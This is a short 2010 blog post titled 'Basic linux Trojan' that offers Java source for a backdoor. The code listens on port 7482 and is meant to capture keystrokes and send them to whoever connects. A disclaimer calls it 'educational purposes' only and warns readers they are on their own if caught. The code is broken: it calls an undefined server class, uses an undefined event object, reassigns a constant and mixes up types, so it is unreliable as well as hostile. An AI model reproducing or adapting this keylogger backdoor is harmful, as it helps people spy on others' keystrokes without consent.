Thursday, March 11, 2010

Basic linux Trojan

This is a basic Trojan virus for linux that runs on port 7482.

Note:
I take no responsibility for the use of this code as it's only meant for educational purposes. If you get bursted you are on your own.

import java.io.*;
import java.net.*;
import java.util.*;
public class Blind_trojan
{
private ServerSocket sock;
public static final String keyClick = "";
public static final int PORT = 7482; // Torjan port
public static void main(String args[]) throws IOException
{
TCPSimpleServer server = new TCPSimpleServer();
server.run();
}
public static void run()
{
Socket soc = null;
sock = new ServerSocket(PORT);
while(true)
{
soc = sock.accept();
OutputStream os = soc.getOutputStream();
OutputStreamWriter osw = new OutputStreamWriter(os,"8859_1");
BufferedWriter bw = new BufferedWriter(osw);
keyClick = keyBoard();
if(keyClick != "")
{
bw.write(keyClick);
keyClick = "";
}
}

bw.close();
soc.close();
}

private static String keyBoard()
{
int keyCode = evt.getKeyCode();
int modifiers = evt.getModifiers();
if (evt.isControlDown())
return " + CTRL + ";
else
return modifiers;
}
}

1 comment: